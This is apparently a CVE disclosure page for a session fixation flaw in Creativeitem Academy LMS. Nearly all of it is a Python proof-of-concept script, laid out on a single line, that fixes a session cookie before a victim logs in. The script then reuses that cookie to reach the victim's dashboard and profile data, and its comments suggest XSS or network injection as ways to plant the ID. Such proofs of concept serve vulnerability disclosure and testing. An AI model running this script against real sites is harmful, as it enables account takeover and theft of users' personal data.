CVE-2025-56746：Creativeitem Academy LMS会话固定漏洞

# CVE-2025-56746 - Academy LMS Session Fixation PoC # Description: Demonstrates session fixation by pre-setting session ID before victim authentication import requests TARGET_URL = "http://target-academy-lms.com" VICTIM_USERNAME = "victim_user" VICTIM_PASSWORD = "victim_password" # Step 1: Attacker visits the login page and obtains a session ID attacker_session = requests.Session() login_page = attacker_session.get(f"{TARGET_URL}/login") attacker_session_id = attacker_session.cookies.get("PHPSESSID") # or session cookie name used by Academy LMS print(f"[+] Attacker obtained session ID: {attacker_session_id}") # Step 2: Attacker tricks victim into using the pre-determined session ID # This can be done via XSS, shared computer, network injection, etc. # For demonstration: directly set the session cookie in victim's browser context # Step 3: Victim authenticates using the fixed session ID victim_session = requests.Session() victim_session.cookies.set("PHPSESSID", attacker_session_id) login_data = { "email": VICTIM_USERNAME, "password": VICTIM_PASSWORD } login_response = victim_session.post(f"{TARGET_URL}/login", data=login_data) print(f"[+] Victim login response status: {login_response.status_code}") # Step 4: Attacker uses the same session ID to access victim's authenticated session # Since the application does NOT regenerate the session ID after login, # the attacker's session ID remains valid and authenticated attacker_authenticated = attacker_session.get(f"{TARGET_URL}/dashboard") if "Welcome" in attacker_authenticated.text or "Dashboard" in attacker_authenticated.text: print("[!] Session Fixation successful! Attacker is now authenticated as victim.") else: print("[-] Session fixation attempt failed.") # Step 5: Attacker accesses victim's sensitive data profile = attacker_session.get(f"{TARGET_URL}/user/profile") print(f"[+] Victim's profile data accessed: {profile.text[:200]}")